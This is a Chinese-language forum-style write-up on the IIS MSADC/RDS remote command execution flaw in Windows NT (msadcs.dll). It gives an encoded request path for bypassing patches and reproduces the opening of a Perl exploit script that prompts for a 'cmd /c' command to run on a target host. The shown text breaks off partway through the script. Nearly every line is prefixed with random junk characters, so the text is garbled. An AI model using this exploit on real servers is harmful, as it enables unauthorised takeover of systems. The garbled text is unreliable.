IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2q]ZI C$K?4$ 涉及程序:
J~xm[^0 Microsoft NT server
`q\F C[W mi$C%~]5m 描述:
A4|7^Ay 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
4[#)p}V @67GVPcxl 详细:
0LXu!iix 如果你没有时间读详细内容的话,就删除:
9mp`LT c:\Program Files\Common Files\System\Msadc\msadcs.dll
~CHcbEWk)W 有关的安全问题就没有了。
%]Nm'"Y`U -fV\JJ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
%z.V$2 ygV_"=+|N 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
pGD-K41O] 关于利用ODBC远程漏洞的描述,请参看:
$[b}r#P 43y@9P0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :R
+BC2x FWU>WHX 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
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"Wh4>C http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^wc:qll [kpQ:'P3 这里不再论述。
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C*. 6W 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
=SuJ* /eU\B^k /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3QKBuo 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
a *
CXg.i /2E
Q:P k%u fgHl! #将下面这段保存为txt文件,然后: "perl -x 文件名"
S&-F(#CF^ -xLK/QAL #!perl
l"
~
CAw; #
a#+$.e5 # MSADC/RDS 'usage' (aka exploit) script
|A,.mOT #
y{<js!au # by rain.forest.puppy
8@+<W%+th #
N-b'O`C # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
fj['M6+wd # beta test and find errors!
R\X;`ptT \2[tM/+Bs use Socket; use Getopt::Std;
-dF (_ %C getopts("e:vd:h:XR", \%args);
p
%.Adxx g$mMH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
bC"h7$3 Ac{Tq iIv if (!defined $args{h} && !defined $args{R}) {
^b~ZOg[p print qq~
_t;^\"\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
-IVWkA)7 -h <host> = host you want to scan (ip or domain)
cZ
!$XXA` -d <seconds> = delay between calls, default 1 second
_1O .{O -X = dump Index Server path table, if available
qhG2j; -v = verbose
ReD]M@; -e = external dictionary file for step 5
4;)t\9cy_ ^\ln8!; Or a -R will resume a command session
^8bc<c:P YahW%mv`d ~; exit;}
3!cenyE "x.iD,>k $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
jTNt!2 :B if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6 <`e]PT if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%Jd!x{a`>A if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
E_$nsM8? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~ArRD-_t if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
p ^TCr<= ^~TE$i< if (!defined $args{R}){ $ret = &has_msadc;
ar
7.O;e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
kREFh4QO, \(=xc2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5+Tx01) . "cmd /c ";
8[t*VIXI $in=<STDIN>; chomp $in;
|"KdW#.x $command="cmd /c " . $in ;
3?`TEw~' IY[qWs if (defined $args{R}) {&load; exit;}
"Xwsu8~ 7rbw_m`12- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'byTM?Sp{ &try_btcustmr;
=
=Q*|L-g -G? IXgG print "\nStep 2: Trying to make our own DSN...";
P0_Ymn=&